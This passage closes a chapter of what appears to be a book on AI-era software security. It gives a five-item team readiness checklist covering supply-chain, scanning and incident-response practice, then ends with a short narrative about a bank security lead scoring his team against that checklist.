(2) We have graph-based invariant verification in the CI pipeline that fails the build if there are dangling references, missing guards, or typosquat dependencies.

(3) We have an AI vulnerability scanner with deterministic verification (PoV or sanitizer), not just "the LLM thinks it's there" β€” and we scan the codebase in the internet-facing zone every quarter.

(4) We have an incident response playbook for supply chain attacks in both postinstall and import-time flavors β€” printed on A4 paper, not in Confluence.

(5) Every LLM API call in the team is encapsulated in a single adapter layer β€” we can swap the model in 1 day.

If you pass 4-5, your team is at "production-ready" for AI security. If you pass 2-3, the team is at "needs work" β€” focus on the items you're missing. If you pass 0-1, the team is at "critical" β€” start immediately, otherwise the incident that's coming will hurt more than it has to.

What to read next β€” for those who want to dig deeper into any topic in this chapter, see the References at the end. Most of the research referenced is open-access arXiv papers you can read for free. For those interested in the Patchwork Problem specifically, the referenced work (Anonymous et al., 2607.08981) has a dataset and benchmark available for download. For those interested in the Mastra/AsyncAPI incident analysis, the Microsoft Threat Intelligence report has an IOC list you can use immediately. The next chapter will cover what happens "on the user's machine" β€” when attackers use their own AI agents for post-exploitation, and when the user themselves gets hijacked through AI tools installed on the device.

One more question to ask yourself before closing the chapter β€” if today you had to deploy an app with AI-written code, how confident are you that the code is secure? If the answer is "not sure" β€” that's not a sign that you're bad at this. That's a sign that you understand the problem. People who answer "100% sure" are usually the ones who haven't understood what their "sure" is measured against.

Finally β€” this chapter doesn't aim to make you "afraid of AI." It aims to make you "use AI critically." AI is an incredibly powerful tool, but powerful tools need people who understand them β€” not people who trust them with everything. A good security team in 2026 isn't the team that uses AI the best β€” it's the team that knows when to trust AI and when to ask questions.

Closing Chapter 2 β€” Ek Returns to His Old Desk

Six months after the night the customers called to say their money was missing, Ek is still sitting in the seventeenth-floor conference room of the same bank. But this time he opens the five-item rubric on his screen and walks through it with the team, one at a time. The first item passes because after the incident, every AI-assisted PR is tagged ai-assisted in GitHub and has to pass the same security-aware reviewer. The second item is still stuck because graph-based verification needs another quarter before it goes into CI. The third item passes because the team started using a PoV-backed scanner last quarter. The fourth item passes because he had a four-page A4 playbook printed and hung it in the SOC room. The fifth item doesn't pass yet β€” only half of the LLM calls have an adapter layer that decouples them from a single vendor.

"Three out of five," Ek summarizes quietly. "I bet that in another six months we'll have four or five. But what I see clearly is that the team has changed from people who are 'afraid of AI' to people who 'know when to trust AI.'" He closes the file and looks out the window. The tall buildings of Sathorn see the sun beginning to set. "Our team isn't ready yet, but at least we know what we have to prepare."

When Chapter 3 begins, the scene moves from the dev team to the user's device β€” when attackers use their AI agents to do post-exploitation, and when the user themselves gets hijacked through AI tools installed on the device.


References (Chapter 2)